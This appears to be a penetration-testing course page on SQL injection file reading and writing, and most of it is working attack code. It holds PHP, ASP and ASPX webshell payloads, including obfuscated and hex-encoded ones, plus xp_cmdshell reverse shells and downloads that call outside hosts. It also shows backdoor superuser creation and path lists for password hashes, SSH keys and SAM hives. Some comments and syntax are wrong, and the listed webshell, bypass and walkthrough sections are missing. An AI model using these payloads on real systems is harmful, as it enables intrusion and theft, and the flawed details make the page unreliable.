Domain 2Web App AttacksCORE

Writing and Reading Files via SQLi

Techniques for reading and writing files through SQL injection across MySQL, MSSQL, and PostgreSQL including webshell deployment, path discovery, privilege requirements, and bypass techniques.

Domain: Domain 2: Web Application Penetration Testing•Updated: 2026-09-01
#File Operations#LOAD_FILE#INTO OUTFILE#Webshell#Path Discovery

Writing and Reading Files via SQLi

Table of Contents

  1. MySQL File Operations
  2. MSSQL File Operations
  3. PostgreSQL File Operations
  4. Finding Web Paths
  5. Webshell Payloads
  6. secure_file_priv Bypass Techniques
  7. Complete Walkthrough

1. MySQL File Operations

Reading Files with LOAD_FILE()

Syntax

LOAD_FILE('/path/to/file')

The LOAD_FILE() function reads a file from the server’s filesystem and returns it as a string. The file must be readable by the MySQL server process.

Basic Examples

-- Read a file directly
SELECT LOAD_FILE('/etc/passwd');

-- Read a Windows file
SELECT LOAD_FILE('C:\\Windows\\win.ini');

-- Read in a UNION context
SELECT 1,2,3 UNION ALL SELECT LOAD_FILE('/etc/passwd'),2,3;

-- Read with NULL byte trick (if path is being filtered)
SELECT LOAD_FILE('/etc/passwd%00');

Reading /etc/passwd

-- Basic read
SELECT LOAD_FILE('/etc/passwd');

-- In UNION injection
' UNION ALL SELECT 1,LOAD_FILE('/etc/passwd'),3-- -

-- In error-based context
' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT(LOAD_FILE('/etc/passwd'),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.TABLES GROUP BY x)a)-- -

Reading Windows Files

-- Read Windows password file equivalents
SELECT LOAD_FILE('C:\\Windows\\System32\\drivers\\etc\\hosts');

-- Read IIS configuration
SELECT LOAD_FILE('C:\\Windows\\System32\\inetsrv\\config\\applicationHost.config');

-- Read Windows registry hives (if accessible)
SELECT LOAD_FILE('C:\\Windows\\System32\\config\\SAM');

-- Read user profiles
SELECT LOAD_FILE('C:\\Users\\Administrator\\NTUSER.DAT');

Hex Encoding Bypass for Filters

When filters block certain characters, encode the path as hex:

-- Convert path to hex: 0x2F6574632F706173737764 = /etc/passwd
SELECT LOAD_FILE(0x2F6574632F706173737764);

-- How to generate hex encoding
-- In Python:
-- >>> '/etc/passwd'.encode().hex()
-- '2f6574632f706173737764'
-- Prepend 0x for MySQL

-- Common hex-encoded paths:
-- /etc/passwd       = 0x2F6574632F706173737764
-- /etc/shadow       = 0x2F6574632F736861646F77
-- /etc/hosts        = 0x2F6574632F686F737473
-- /var/www/html     = 0x2F7661722F7777772F68746D6C

-- Using CONCAT to build hex dynamically
SELECT LOAD_FILE(CONCAT(0x2F6574632F, 0x706173737764));

-- Using 0x with UNION
' UNION ALL SELECT 1,LOAD_FILE(0x2F6574632F706173737764),3-- -

Character Code Bypass

-- Using CHAR() function to build path
SELECT LOAD_FILE(CHAR(47,101,116,99,47,112,97,115,115,119,100));
-- 47=/  101=e  116=t  99=c  47=/  112=p  97=a  115=s  115=s  119=w  100=d

-- In UNION context
' UNION ALL SELECT 1,LOAD_FILE(CHAR(47,101,116,99,47,112,97,115,115,119,100)),3-- -

Writing Files with INTO OUTFILE

Syntax

SELECT ... INTO OUTFILE '/path/to/file' [OPTIONS]

Critical Requirements

  1. FILE privilege must be granted to the MySQL user
  2. The target file must NOT already exist (prevents overwriting)
  3. secure_file_priv must allow writing to the target directory (or be empty/null)
  4. The MySQL process must have OS-level write permissions to the target path

PHP Webshell Payloads

-- Basic PHP webshell
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

-- PHP webshell with base64 decode (bypasses some filters)
SELECT '<?php eval(base64_decode($_GET["c"])); ?>' INTO OUTFILE '/var/www/html/shell.php';

-- PHP webshell with assert
SELECT '<?php assert($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

-- PHP webshell with passthru
SELECT '<?php passthru($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

-- PHP webshell with shell_exec
SELECT '<?php echo shell_exec($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';

-- PHP webshell with exec
SELECT '<?php echo `<pre>`;echo exec($_GET["cmd"]);echo `</pre>`;' INTO OUTFILE '/var/www/html/shell.php';

-- PHP webshell with backticks
SELECT '<?php echo `$_GET[cmd]`;' INTO OUTFILE '/var/www/html/shell.php';

-- PHP webshell with preg_replace /e modifier (older PHP)
SELECT '<?php preg_replace("/.*/e",$_GET["cmd"],""); ?>' INTO OUTFILE '/var/www/html/shell.php';

-- PHP webshell with create_function
SELECT '<?php $f = create_function("",$_GET["cmd"]);$f(); ?>' INTO OUTFILE '/var/www/html/shell.php';

-- PHP webshell with obfuscation
SELECT '<?php $a=str_rot13("riny");$a($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
-- str_rot13("riny") = "exec"

-- PHP webshell with hex encoding in the payload
SELECT 0x3C3F7068702073797374656D28245F4745545B22636D64225D293B203F3E INTO OUTFILE '/var/www/html/shell.php';
-- 0x3C3F7068702073797374656D28245F4745545B22636D64225D293B203F3E = <?php system($_GET["cmd"]); ?>

ASP Webshell Payloads for Windows

-- Classic ASP webshell
SELECT '<% Execute(Request("cmd")) %>' INTO OUTFILE 'C:\\inetpub\\wwwroot\\shell.asp';

-- ASP webshell with Server.Execute
SELECT '<% Server.Execute(Request("cmd")) %>' INTO OUTFILE 'C:\\inetpub\\wwwroot\\shell.asp';

-- ASP webshell with eval
SELECT '<% Response.Write(Eval(Request("cmd"))) %>' INTO OUTFILE 'C:\\inetpub\\wwwroot\\shell.asp';

-- ASP webshell with ScriptControl
SELECT '<% Set x=Server.CreateObject("MSScriptControl.ScriptControl"):x.Language="VBScript":x.AddObject"Request",Request:x.ExecuteStatement("Response.Write x.Eval(Request("cmd"))") %>' INTO OUTFILE 'C:\\inetpub\\wwwroot\\shell.asp';

-- ASPX webshell (.NET)
SELECT '<%@ Page Language="C#" %><%Response.Write(System.Diagnostics.Process.Start(new System.Diagnostics.ProcessStartInfo(Request["cmd"])).StandardOutput.ReadToEnd());%>' INTO OUTFILE 'C:\\inetpub\\wwwroot\\shell.aspx';

-- ASPX webshell simplified
SELECT '<%@ Page Language="C#" %><%Response.Write(new System.Diagnostics.ProcessStartInfo(Request["c"]).Start().StandardOutput.ReadToEnd());%>' INTO OUTFILE 'C:\\inetpub\\wwwroot\\shell.aspx';

LINES TERMINATED BY Trick

The LINES TERMINATED BY clause appends a string after each row, useful for crafting multi-line files:

-- Write a PHP webshell using LINES TERMINATED BY
SELECT '' INTO OUTFILE '/var/www/html/shell.php' LINES TERMINATED BY '<?php system($_GET["cmd"]); ?>';

-- Write multi-line content
SELECT '' INTO OUTFILE '/var/www/html/shell.php'
LINES TERMINATED BY '<?php'
LINES TERMINATED BY 'system($_GET["cmd"]);'
LINES TERMINATED BY '?>';

-- Note: Only the LAST LINES TERMINATED BY value is used in MySQL
-- So the first example is the correct approach

-- Write with both STARTING BY and LINES TERMINATED BY
SELECT '' INTO OUTFILE '/var/www/html/shell.php'
STARTING BY '<?php system($_GET["cmd"]); ?>'
LINES TERMINATED BY '\n';

Column Terminated By Trick

-- Use COLUMN TERMINATED BY to inject content between columns
SELECT '', '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'
COLUMNS TERMINATED BY '<?php system($_GET["cmd"]); ?>';

-- More reliable approach with multiple columns
SELECT '<?php system($_GET["cmd"]); ?>', '' INTO OUTFILE '/var/www/html/shell.php'
FIELDS TERMINATED BY ''
LINES TERMINATED BY '';

Writing with Hex Encoding

-- Write webshell using hex-encoded payload
SELECT 0x3C3F7068702073797374656D28245F4745545B22636D64225D293B3F3E INTO OUTFILE '/var/www/html/shell.php';

-- Write ASP webshell using hex
SELECT 0x3C25204578656375746528526571756573742822636D6422292920253E INTO OUTFILE 'C:\\inetpub\\wwwroot\\shell.asp';

INTO DUMPFILE vs INTO OUTFILE

Feature INTO OUTFILE INTO DUMPFILE
Output format Text with line/column terminators Raw binary, no formatting
Multi-line Adds \n after each row No line terminators added
Best for CSV, text data Binary files, single-line payloads
Terminators Configurable via options None applied
-- INTO OUTFILE adds line terminators (may corrupt binary)
SELECT payload INTO OUTFILE '/var/www/html/shell.php';
-- Output: payload\n

-- INTO DUMPFILE writes raw bytes (better for webshells)
SELECT payload INTO DUMPFILE '/var/www/html/shell.php';
-- Output: payload (exact bytes, no extra characters)

-- INTO DUMPFILE is preferred for webshells
SELECT '<?php system($_GET["cmd"]); ?>' INTO DUMPFILE '/var/www/html/shell.php';

-- INTO DUMPFILE for binary files
SELECT UNHEX('789C...') INTO DUMPFILE '/tmp/payload.bin';

Key Takeaway: Use INTO DUMPFILE for webshells to avoid unwanted line terminators that could break the payload.


Prerequisites and Privilege Checking

Checking FILE Privilege

-- Check if current user has FILE privilege
SELECT FILE_priv FROM mysql.user WHERE User = CURRENT_USER();

-- Alternative check
SHOW GRANTS;
SHOW GRANTS FOR CURRENT_USER;
SHOW GRANTS FOR USER();

-- Check using current_user()
SELECT CURRENT_USER();

-- Check all privileges
SELECT * FROM mysql.user WHERE User = USER();

Checking secure_file_priv

-- Check secure_file_priv setting
SHOW VARIABLES LIKE 'secure_file_priv';

-- Possible values:
-- '' (empty)     = No restriction, can read/write anywhere
-- NULL           = Cannot read/write files at all
-- '/path/'       = Can only read/write to this specific directory

-- Alternative check methods
SELECT @@secure_file_priv;
SELECT @@GLOBAL.secure_file_priv;
SHOW GLOBAL VARIABLES LIKE 'secure_file_priv';

Checking MySQL Version and OS

-- Get MySQL version
SELECT VERSION();

-- Get OS info
SELECT @@version_compile_os;
-- Returns: 'linux-gnu', 'Win64', 'Win32', etc.

-- Get data directory
SELECT @@datadir;

-- Get plugin directory
SELECT @@plugin_dir;

-- Get temporary directory
SELECT @@tmpdir;

-- Get all relevant variables
SHOW VARIABLES LIKE '%dir%';
SHOW VARIABLES LIKE '%secure%';
SHOW VARIABLES LIKE '%file%';

Full Reconnaissance Query

-- Comprehensive info gathering in one query
SELECT
    VERSION() AS version,
    @@version_compile_os AS os,
    @@datadir AS data_dir,
    @@secure_file_priv AS secure_file_priv,
    @@tmpdir AS tmp_dir,
    CURRENT_USER() AS current_user,
    @@hostname AS hostname;

Testing FILE Privilege

-- Test if you can read files
SELECT LOAD_FILE('/etc/hostname');

-- Test if you can write files
SELECT 'test' INTO OUTFILE '/tmp/sqli_test.txt';

-- If both work, you have full file access

2. MSSQL File Operations

OPENROWSET(BULK) for Reading

Syntax

SELECT * FROM OPENROWSET(BULK 'C:\path\to\file', SINGLE_BLOB) AS file_data

Examples

-- Read a file as BLOB
SELECT * FROM OPENROWSET(BULK 'C:\Windows\win.ini', SINGLE_BLOB) AS file_data;

-- Read as single column
SELECT BulkColumn FROM OPENROWSET(BULK 'C:\Windows\win.ini', SINGLE_BLOB) AS T;

-- Read in UNION context
' UNION ALL SELECT BulkColumn,NULL,NULL FROM OPENROWSET(BULK 'C:\Windows\win.ini', SINGLE_BLOB) AS T-- -

-- Read text file
SELECT * FROM OPENROWSET(BULK 'C:\path\to\file.txt', SINGLE_CLOB) AS file_data;

-- Read with FORMAT option
SELECT * FROM OPENROWSET(BULK 'C:\path\to\file.txt',
    FORMAT='CSV',
    FIELDTERMINATOR=',',
    ROWTERMINATOR='\n') AS file_data;

Prerequisites for OPENROWSET

-- Check if Ad Hoc Distributed Queries is enabled
SELECT value FROM sys.configurations WHERE name = 'ad hoc distributed queries';

-- Enable if disabled (requires sysadmin)
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'ad hoc distributed queries', 1;
RECONFIGURE;

-- Check current status
EXEC sp_configure 'ad hoc distributed queries';

xp_cmdshell for File Operations

Enable xp_cmdshell

-- Check if enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

-- Enable xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE WITH OVERRIDE;

-- If xp_cmdshell doesn't exist, add it
EXEC sp_addextendedproc xp_cmdshell, 'xpsql70.dll';

File Reading

-- Read file contents
EXEC xp_cmdshell 'type C:\Windows\win.ini';

-- Read with more control
EXEC xp_cmdshell 'more < C:\Windows\win.ini';

-- Read specific lines
EXEC xp_cmdshell 'findstr /n "." C:\path\to\file.txt';

-- Read and redirect output
EXEC xp_cmdshell 'type C:\path\to\file.txt > C:\temp\output.txt';

File Writing

-- Write a file using echo
EXEC xp_cmdshell 'echo ^<?php system($_GET["cmd"]); ?^> > C:\inetpub\wwwroot\shell.php';

-- Write multi-line file
EXEC xp_cmdshell 'echo ^<?php > C:\inetpub\wwwroot\shell.php';
EXEC xp_cmdshell 'echo system($_GET["cmd"]); >> C:\inetpub\wwwroot\shell.php';
EXEC xp_cmdshell 'echo ?^> >> C:\inetpub\wwwroot\shell.php';

-- Write using PowerShell
EXEC xp_cmdshell 'powershell -Command "Set-Content -Path C:\inetpub\wwwroot\shell.php -Value ''<?php system($_GET["cmd"]); ?>''"';

-- Write using certutil (for base64 encoded content)
EXEC xp_cmdshell 'echo PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+ | certutil -decode - C:\inetpub\wwwroot\shell.php';

-- Write using PowerShell Invoke-WebRequest
EXEC xp_cmdshell 'powershell -Command "(New-Object Net.WebClient).DownloadFile(''http://attacker.com/shell.php'',''C:\inetpub\wwwroot\shell.php'')"';

Reverse Shell via xp_cmdshell

-- PowerShell reverse shell
EXEC xp_cmdshell 'powershell -nop -exec bypass -c "$client = New-Object System.Net.Sockets.TCPClient(''10.10.14.23'',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ''PS '' + (pwd).Path + ''^> '';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"';

-- CMD reverse shell via netcat
EXEC xp_cmdshell 'nc -e cmd.exe 10.10.14.23 443';

-- Windows reverse shell via PowerShell one-liner
EXEC xp_cmdshell 'powershell IEX (New-Object Net.WebClient).DownloadString(''http://10.10.14.23/Invoke-PowerShellTcpOneLine.ps1'')';

bcp Utility for External File Write

The bcp (Bulk Copy Program) utility can export data to files from outside the SQL Server process.

From Attacker’s Machine

# Export data to a file on the target
bcp "SELECT '<?php system($_GET["cmd"]); ?>'" queryout "C:\inetpub\wwwroot\shell.php" -S TARGET_IP -U sa -P "Password123" -c

# Export query results to file
bcp "SELECT username, password FROM users" queryout "C:\temp\dump.txt" -S TARGET_IP -U sa -P "Password123" -c -t","

# Export with specific format
bcp "SELECT * FROM sensitive_data" queryout "C:\inetpub\wwwroot\dump.txt" -S TARGET_IP -U sa -P "Password123" -c -T

# Read a file from the target
bcp "SELECT * FROM OPENROWSET(BULK 'C:\Windows\win.ini', SINGLE_BLOB) AS T" queryout "C:\temp\win.ini" -S TARGET_IP -U sa -P "Password123" -c

bcp Command Options

bcp {dbtable | query} {in | out | queryout | format} {datafile}
    [-m maxerrors]            [-f formatfile]       [-e errfile]
    [-F firstrow]             [-L lastrow]          [-b batchsize]
    [-n native type]          [-c character type]   [-N keep non-text native]
    [-w wide character type]  [-W wide ntext type]  [-V file format version]
    [-q quoted identifier]    [-C code page]        [-t field terminator]
    [-r row terminator]       [-i inputfile]        [-o outfile]
    [-a packetsize]           [-S server name]      [-U username]
    [-P password]             [-T trusted connection][-v version]
    [-R regional enable]      [-k keep null values] [-E keep identity values]
    [-h "load hints"]         [-x generate xml formatfile]

Writing Webshell via bcp

# Write PHP webshell
bcp "SELECT '<?php system($_GET["cmd"]); ?>'" queryout "C:\inetpub\wwwroot\shell.php" -S 10.10.10.10 -U sa -P "P@ssw0rd" -c

# Write ASP webshell
bcp "SELECT '<% Execute(Request("cmd")) %>'" queryout "C:\inetpub\wwwroot\shell.asp" -S 10.10.10.10 -U sa -P "P@ssw0rd" -c

# Write ASPX webshell
bcp "SELECT '<%@ Page Language="C#" %><%Response.Write(System.Diagnostics.Process.Start(Request["cmd"]).StandardOutput.ReadToEnd());%>'" queryout "C:\inetpub\wwwroot\shell.aspx" -S 10.10.10.10 -U sa -P "P@ssw0rd" -c

OLE Automation for File Writing

Enable OLE Automation

-- Check if OLE Automation Procedures is enabled
SELECT value FROM sys.configurations WHERE name = 'OLE Automation Procedures';

-- Enable OLE Automation
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'OLE Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;

Write File Using OLE Automation

-- Declare variables
DECLARE @OLEResult INT;
DECLARE @FileID INT;
DECLARE @ObjectToken INT;

-- Create Scripting.FileSystemObject
EXEC @OLEResult = sp_OACreate 'Scripting.FileSystemObject', @ObjectToken OUTPUT;

-- Create a text file
EXEC @OLEResult = sp_OAMethod @ObjectToken, 'CreateTextFile', @FileID OUTPUT,
    'C:\inetpub\wwwroot\shell.php',
    2, -- Overwrite existing
    0; -- ASCII

-- Write content to file
EXEC @OLEResult = sp_OAMethod @FileID, 'Write', NULL,
    '<?php system($_GET["cmd"]); ?>';

-- Close the file
EXEC @OLEResult = sp_OAMethod @FileID, 'Close';

-- Clean up
EXEC @OLEResult = sp_OADestroy @FileID;
EXEC @OLEResult = sp_OADestroy @ObjectToken;

Read File Using OLE Automation

DECLARE @OLEResult INT;
DECLARE @FileID INT;
DECLARE @ObjectToken INT;
DECLARE @FileContent VARCHAR(8000);

-- Create FileSystemObject
EXEC @OLEResult = sp_OACreate 'Scripting.FileSystemObject', @ObjectToken OUTPUT;

-- Open text file for reading (1 = ForReading)
EXEC @OLEResult = sp_OAMethod @ObjectToken, 'OpenTextFile', @FileID OUTPUT,
    'C:\Windows\win.ini',
    1, -- ForReading
    0; -- Don't create if doesn't exist

-- Read all contents
EXEC @OLEResult = sp_OAMethod @FileID, 'ReadAll', @FileContent OUTPUT;

-- Output the content
SELECT @FileContent AS FileContents;

-- Close and cleanup
EXEC @OLEResult = sp_OAMethod @FileID, 'Close';
EXEC @OLEResult = sp_OADestroy @FileID;
EXEC @OLEResult = sp_OADestroy @ObjectToken;

One-Liner OLE Automation Webshell

-- Compact version for injection
DECLARE @o INT,@f INT,@r INT;EXEC sp_OACreate 'Scripting.FileSystemObject',@o OUT;EXEC sp_OAMethod @o,'CreateTextFile',@f OUT,'C:\inetpub\wwwroot\shell.php',1,0;EXEC sp_OAMethod @f,'Write',NULL,'<?php system($_GET["cmd"]); ?>';EXEC sp_OAMethod @f,'Close';

3. PostgreSQL File Operations

pg_read_file() for Reading

Syntax

SELECT pg_read_file('filename', offset, length);

Examples

-- Read a file (must be in pg_data directory or subdirectory)
SELECT pg_read_file('PG_VERSION');

-- Read with offset and length
SELECT pg_read_file('postgresql.conf', 0, 1000);

-- Read in chunks for large files
SELECT pg_read_file('postgresql.conf', 0, 10000);
SELECT pg_read_file('postgresql.conf', 10000, 10000);
SELECT pg_read_file('postgresql.conf', 20000, 10000);

-- Read the PostgreSQL data directory listing
SELECT pg_read_file('base/1/pg_filenode.map');

Limitations

  • pg_read_file() can only read files within the PostgreSQL data directory tree
  • Cannot read arbitrary files on the filesystem
  • Requires appropriate privileges

pread() Function

Syntax

SELECT pg_read_binary_file('filename', offset, length, try_read);

Examples

-- Read binary file
SELECT pg_read_binary_file('base/1/16384');

-- Read with try_read = true (won't error if file doesn't exist)
SELECT pg_read_binary_file('postgresql.conf', 0, 1000, true);

-- Read entire file
SELECT pg_read_binary_file('PG_VERSION', 0, NULL, false);

pg_ls_dir() for Directory Listing

-- List PostgreSQL data directory
SELECT pg_ls_dir('.') FROM pg_ls_dir('base');

-- List a specific database directory
SELECT pg_ls_dir('base/1');

-- List all top-level directories
SELECT pg_ls_dir('.');

COPY TO for Writing

Syntax

COPY (SELECT 'content') TO '/path/to/file';

Examples

-- Write a PHP webshell
COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';

-- Write to a specific location
COPY (SELECT '<?php passthru($_GET["cmd"]); ?>') TO '/var/www/html/shell.php';

-- Write multiple lines
COPY (SELECT '<?php system($_GET["cmd"]); ?>' UNION ALL SELECT '// multi-line content') TO '/var/www/html/shell.php';

-- Write from a table
COPY (SELECT username || ':' || password FROM users) TO '/tmp/credentials.txt';

-- Write with delimiter
COPY (SELECT username, password FROM users) TO '/tmp/credentials.csv' WITH CSV DELIMITER ',';

COPY FROM for Reading

-- Create a temp table to read file contents
CREATE TEMP TABLE file_contents (data TEXT);
COPY file_contents FROM '/etc/passwd';
SELECT * FROM file_contents;
DROP TABLE file_contents;

Superuser Requirement

-- Check if current user is a superuser
SELECT usesuper FROM pg_user WHERE usename = current_user;

-- Check current user role
SELECT current_user;
SELECT session_user;

-- Check all roles and privileges
SELECT rolname, rolsuper, rolcreaterole, rolcreatedb, rolcanlogin FROM pg_roles;

-- Check if you can escalate to superuser
SELECT rolname, rolsuper FROM pg_roles WHERE rolsuper = true;

Critical: Most PostgreSQL file operations require superuser privileges. Without superuser:

  • pg_read_file() is limited to pg_data directory
  • COPY TO may be restricted
  • Cannot write to arbitrary filesystem locations

Privilege Escalation in PostgreSQL

-- Try to create a superuser role
CREATE ROLE backdoor WITH LOGIN SUPERUSER PASSWORD 'password123';

-- Try to grant superuser to existing role
ALTER ROLE current_user WITH SUPERUSER;

-- Exploit world-writable shared_preload_libraries
-- Check shared_preload_libraries setting
SHOW shared_preload_libraries;

-- If you can control this, load a malicious library
ALTER SYSTEM SET shared_preload_libraries = '/tmp/malicious.so';
SELECT pg_reload_conf();

4. Finding Web Paths

Common Linux Web Paths

Apache

/var/www/html/
/var/www/html/index.php
/var/www/
/var/www/html/
/var/www/vhost/
/var/www/vhosts/
/var/www/sites/
/var/www/cgi-bin/
/var/www/local-www/
/var/www/localhost/
/var/www/localhost/htdocs/
/var/www/html/htdocs/
/srv/www/htdocs/
/srv/httpd/html/
/home/www/
/home/httpd/html/
/opt/lampp/htdocs/
/opt/xampp/htdocs/
/opt/apache/htdocs/
/usr/local/apache/htdocs/
/usr/local/apache2/htdocs/
/usr/local/www/apache2/data/
/usr/local/www/apache22/data/
/etc/httpd/
/var/log/httpd/
/var/log/apache2/
/var/log/apache/

Nginx

/var/www/html/
/var/www/
/usr/share/nginx/html/
/etc/nginx/
/var/log/nginx/
/srv/www/
/opt/nginx/html/

Lighttpd

/var/www/localhost/htdocs/
/var/www/
/srv/www/
/opt/lighttpd/html/

PHP-FPM / General

/var/www/html/
/var/www/public/
/var/www/public_html/
/var/www/web/
/var/www/site/
/var/www/app/
/var/www/application/
/var/www/project/
/var/www/domain.com/
/var/www/domain.com/public_html/
/var/www/domain.com/httpdocs/
/var/www/virtual/domain.com/
/var/www/virtual/domain.com/html/
/var/customers/webs/
/home/username/public_html/
/home/username/www/
/home/username/web/
/home/username/htdocs/
/home/username/site/
/srv/htdocs/
/srv/www/
/srv/web/

Common Application Paths

/var/www/html/wp-content/uploads/
/var/www/html/wp-includes/
/var/www/html/wp-admin/
/var/www/html/uploads/
/var/www/html/images/
/var/www/html/css/
/var/www/html/js/
/var/www/html/assets/
/var/www/html/public/
/var/www/html/public_html/
/var/www/html/cgi-bin/
/var/www/html/tmp/
/var/www/html/temp/
/var/www/html/cache/
/var/www/html/logs/
/var/www/html/config/
/var/www/html/includes/
/var/www/html/modules/
/var/www/html/plugins/
/var/www/html/themes/
/var/www/html/vendor/
/var/www/html/src/
/var/www/html/app/
/var/www/html/public/
/var/www/html/web/
/var/www/html/dist/
/var/www/html/build/

System Files for Information Gathering

/etc/passwd
/etc/shadow
/etc/hosts
/etc/resolv.conf
/etc/hostname
/etc/os-release
/etc/issue
/etc/mysql/my.cnf
/etc/mysql/mysql.conf.d/mysqld.cnf
/etc/my.cnf
/etc/php.ini
/etc/php/*/php.ini
/etc/apache2/apache2.conf
/etc/apache2/sites-enabled/
/etc/httpd/conf/httpd.conf
/etc/nginx/nginx.conf
/etc/nginx/sites-enabled/
/root/.bash_history
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/home/*/.bash_history
/home/*/.ssh/authorized_keys
/home/*/.ssh/id_rsa
/var/log/auth.log
/var/log/syslog
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/nginx/error.log

Common Windows Web Paths

IIS

C:\inetpub\wwwroot\
C:\inetpub\wwwroot\index.php
C:\inetpub\wwwroot\default.aspx
C:\inetpub\wwwroot\default.asp
C:\inetpub\wwwroot\default.html
C:\inetpub\wwwroot\shell.php
C:\inetpub\wwwroot\shell.asp
C:\inetpub\wwwroot\shell.aspx
C:\inetpub\wwwroot\uploads\
C:\inetpub\wwwroot\images\
C:\inetpub\wwwroot\css\
C:\inetpub\wwwroot\js\
C:\inetpub\wwwroot\cgi-bin\
C:\inetpub\logs\
C:\Windows\System32\inetsrv\config\applicationHost.config
C:\Windows\System32\inetsrv\config\web.config

XAMPP / WAMP

C:\xampp\htdocs\
C:\xampp\htdocs\shell.php
C:\xampp\htdocs\shell.asp
C:\xampp\apache\conf\httpd.conf
C:\xampp\mysql\data\
C:\wamp\www\
C:\wamp64\www\
C:\wamp\bin\apache\
C:\wamp\bin\mysql\

Other Windows Web Servers

C:\Program Files\Apache Group\Apache\\htdocs\
C:\Program Files (x86)\Apache Group\Apache\\htdocs\
C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\
C:\Program Files\Apache Software Foundation\Apache2.4\htdocs\
C:\Program Files (x86)\Apache Software Foundation\Apache2.4\htdocs\
C:\Program Files\nginx\html\
C:\Program Files (x86)\nginx\html\
C:\Program Files\tomcat\webapps\
C:\Program Files (x86)\tomcat\webapps\
C:\Program Files\JetBrains\
C:\Program Files\IIS Express\

Windows System Files

C:\Windows\win.ini
C:\Windows\system.ini
C:\Windows\System32\drivers\etc\hosts
C:\Windows\System32\inetsrv\config\applicationHost.config
C:\Windows\PAVP.log
C:\Windows\repair\SAM
C:\Windows\System32\config\RegBack\SAM
C:\Windows\System32\config\SAM
C:\Windows\Temp\
C:\Temp\
C:\tmp\
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\sysprep.inf
C:\Windows\System32\sysprep\sysprep.xml
C:\Windows\System32\sysprep\Panther\unattend.xml
C:\Windows\System32\sysprep\unattend.xml
C:\unattend.txt
C:\unattend.xml
C:\Windows\System32\drivers\etc\hosts
C:\boot.ini
C:\Windows\repair\SYSTEM
C:\Windows\System32\config\SYSTEM
C:\Windows\System32\config\RegBack\SYSTEM

User Directories

C:\Users\Public\
C:\Users\Public\Documents\
C:\Users\Public\Desktop\
C:\Users\Administrator\
C:\Users\Administrator\Desktop\
C:\Users\Administrator\Documents\
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
C:\Users\Administrator\.ssh\
C:\Users\Administrator\.bash_history
C:\Users\*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
C:\Users\*\AppData\Local\Temp\
C:\Users\*\AppData\Roaming\
C:\Users\*\Desktop\
C:\Users\*\Documents\
C:\Users\*\Downloads\

IIS Configuration Files

C:\Windows\System32\inetsrv\config\applicationHost.config
C:\Windows\System32\inetsrv\config\web.config
C:\inetpub\wwwroot\web.config
C:\inetpub\wwwroot\config\web.config

How to Discover Paths Through Error Messages

MySQL Error-Based Path Discovery

-- Force an error that reveals the path
' UNION ALL SELECT 1,LOAD_FILE('nonexistent'),3-- -
-- Error may reveal: "The MySQL server is running with the --secure-file-priv option so it cannot execute this statement"

-- Use non-existent table to get path
' AND 1=CONVERT(int,(SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%nonexistent%'))-- -

-- Force file not found error
' UNION ALL SELECT 1,LOAD_FILE('/nonexistent/path/file.txt'),3-- -
-- Error: "File '/nonexistent/path/file.txt' doesn't exist (Errcode: 2 - No such file or directory)"

-- Use GROUP BY with non-existent column
' GROUP BY CONCAT(LOAD_FILE('/etc/passwd'),FLOOR(RAND(0)*2))-- -

MSSQL Error-Based Path Discovery

-- Force conversion error with path info
' AND 1=CONVERT(int,(SELECT @@VERSION))-- -

-- Use backup database to get path
BACKUP DATABASE [master] TO DISK = 'C:\nonexistent\path.bak'
-- Error reveals: "Cannot open backup device 'C:\nonexistent\path.bak'. Operating system error 3(The system cannot find the path specified.)"

-- Try to write to non-existent directory
SELECT 'test' INTO OUTFILE 'C:\nonexistent\test.txt'
-- Error reveals valid path structure

PostgreSQL Error-Based Path Discovery

-- Force error with path info
SELECT pg_read_file('/nonexistent/path');
-- Error: "could not open file "/nonexistent/path" for reading: No such file or directory"

-- Try COPY to non-existent directory
COPY (SELECT 1) TO '/nonexistent/path/file.txt';
-- Error reveals path information

How to Discover Paths Through SQLi Queries

MySQL Path Discovery

-- Get the document root from HTTP headers (if available)
SELECT @@global.document_root;

-- Get data directory
SELECT @@datadir;
-- Returns: '/var/lib/mysql/' or 'C:\ProgramData\MySQL\MySQL Server 8.0\Data\'

-- Get plugin directory (often near web root)
SELECT @@plugin_dir;
-- Returns: '/usr/lib/mysql/plugin/' or 'C:\Program Files\MySQL\MySQL Server 8.0\lib\plugin\'

-- Get temporary directory
SELECT @@tmpdir;
-- Returns: '/tmp/' or 'C:\Windows\Temp\'

-- Get version compile OS
SELECT @@version_compile_os;
-- Returns: 'linux-gnu', 'Win64', 'Win32'

-- Get hostname
SELECT @@hostname;

-- Get current user and their file access
SELECT CURRENT_USER();
SELECT USER();
